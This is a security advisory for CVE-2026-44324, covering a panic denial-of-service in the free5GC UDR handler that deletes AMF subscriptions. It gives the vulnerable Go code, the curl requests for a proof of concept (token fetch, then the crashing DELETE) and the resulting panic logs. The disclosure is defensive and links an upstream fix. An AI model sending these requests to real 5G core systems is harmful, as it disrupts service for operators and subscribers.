CVE-2026-44324: Github.com/free5gc/udr Free5GC's UDR Nudr-dr DELETE Amf-subscriptions Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jqfc-gwj5-3w63",
  "modified" : "2026-06-08T23:48:08Z",
  "published" : "2026-05-08T22:52:20Z",
  "aliases" : [ "CVE-2026-44324" ],
  "summary" : "free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)",
  "details" : "### Summary\nfree5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.\n\nThis is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.\n\nThis endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.\n\n### Details\nValidated against the UDR container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/udr:v4.2.1`\n- Runtime UDR commit: `754d23b0`\n- Docker validation date: 2026-03-22\n- UDR endpoint: `http://10.100.200.11:8000`\n\nVulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface):\n```go\nsubsId := c.Params.ByName(\"subsId\")\ns.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)\n```\nIn the processor:\n```go\nvalue, ok := udrSelf.UESubsCollection.Load(ueId)\nif !ok {\n    pd = util.ProblemDetailsNotFound(\"USER_NOT_FOUND\")\n}\n\nUESubsData := value.(*udr_context.UESubsData)   // panics: nil interface\n```\nWhen `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with:\n```\npanic: interface conversion: interface {} is nil, not *context.UESubsData\n```\n\nCode evidence (paths in `free5gc/udr`):\n- Route exposure + handler dispatch:\n  - `NFs/udr/internal/sbi/api_datarepository.go:2161`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2170`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2172`\n- Panic root cause (nil interface type assertion):\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61`\n\n### PoC\nReproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions.\n\n1. Restart UDR (clean state -- proves no precondition is needed):\n```\ndocker restart udr\n```\n\n2. Obtain a valid `nudr-dr` token from NRF:\n```\ncurl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'\n```\n\n3. Trigger the panic with one DELETE for a nonexistent `ueId=x`:\n```\ncurl -i -sS -X DELETE \\\n  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \\\n  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'\n```\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\n4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`:\n```\n[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData\ngithub.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure\n    .../event_amf_subscription_info_document.go:61\ngithub.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo\n    .../api_datarepository.go:2172\n[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |\n```\n\n### Impact\nIncorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`.\n\nThis is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:\n- Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919).\n- Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have.\n\nNo Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/920\nUpstream fix: https://github.com/free5gc/udr/pull/60",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/udr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-jqfc-gwj5-3w63"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44324"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/issues/920"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/udr/pull/60"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/free5gc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-704", "CWE-754" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T22:52:20Z",
    "nvd_published_at" : "2026-05-27T17:16:37Z"
  }
}